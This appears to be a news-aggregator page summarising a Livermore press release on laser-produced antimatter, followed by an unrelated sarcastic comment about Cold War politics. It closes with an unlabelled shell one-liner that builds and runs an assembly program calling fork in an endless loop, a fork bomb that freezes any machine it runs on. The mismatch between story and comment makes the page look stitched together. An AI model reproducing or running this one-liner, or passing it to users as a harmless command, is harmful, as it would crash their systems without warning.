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Anti-Matter Created By Laser At Livermore
zootropole alerts us to a press release issued today by Lawrence Livermore National Laboratory, announcing the production of 'billions of particles of anti-matter.' "Take a gold sample the size of the head of a push pin, shoot a laser through it, and suddenly more than 100 billion particles of anti-matter appear. The anti-matter, also known as positrons, shoots out of the target in a cone-shaped plasma 'jet.' This new ability to create a large number of positrons in a small laboratory opens the door to several fresh avenues of anti-matter research, including an understanding of the physics underlying various astrophysical phenomena such as black holes and gamma ray bursts." The press release doesn't characterize the laser used in this experiment, but it may have been this one.
Which raised the (very legitimate) question of why we were even in the conflict to begin with.
Exactly. For that matter why establish Nato or help Western Europe. Nuclear war is very bad and one might start if the Russians got pissed off. Best keep them sweet and not get in the way of their expansionism. Hell, when it comes down to it, why not let the Cubans take over Florida. After all if you stop them there's a risk of nuclear war. And people in Florida would much rather live in peace under communism than die in a war. Hell, why bother defending any of the states. Once the commies take over there will be peace. After all, absolutely no one died in Russia or China or Cambodia after the Communist victory when they decided to get rid of their enemies.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;